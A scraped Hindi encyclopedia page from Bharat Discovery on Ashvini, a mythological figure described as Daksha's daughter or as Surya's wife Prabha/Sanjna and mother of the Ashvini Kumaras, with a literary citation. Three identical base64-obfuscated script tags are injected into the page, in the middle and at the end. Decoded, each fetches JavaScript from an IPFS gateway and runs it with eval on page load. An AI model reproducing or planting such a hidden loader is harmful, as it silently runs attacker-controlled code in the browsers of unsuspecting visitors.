अश्विनी

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.

अश्विनी प्रजापति दक्ष की पुत्री थीं। इनका विवाह चन्द्रमा के साथ सम्पन्न हुआ था।

  • मतांतर से ये त्वष्टाको पुत्री थीं। इनका प्रारम्भिक नाम प्रभा था। इनका एक अन्य नाम संज्ञा भी है। ये सूर्य की पत्नी थीं तथा इनकी दो संतान यम और यमुना थे। एक बार सूर्य का तेज सहन करने में असमर्थ होकर ये अपनी छाया तथा संतति को त्यागकर अश्विनी का रूप धारण कर तप करने लगी। तभी से इनका नाम अश्विनी पड़ा।
  • प्रभा की छाया में भी सूर्य को दो संतान हुए- शनि और ताप्ती। अपनी संतति पाकर छाया प्रभा के पुत्रों के अनादर करने लगीं। इस प्रकार प्रभा के भागने की बात सूर्य को ज्ञात हुई। सूर्य इस रहस्य को जानकर अश्व रूप में अश्विनी के पास गये जिससे अश्विनीकुमार उत्पन्न हुए।[1]


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

  1. पुस्तक- हिन्दी साहित्य कोश भाग-2 | सम्पादक- धीरेंद्र वर्मा (प्रधान) | प्रकाशन- ज्ञानमण्डल लिमिटेड, वाराणसी | पृष्ठ संख्या- 28

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>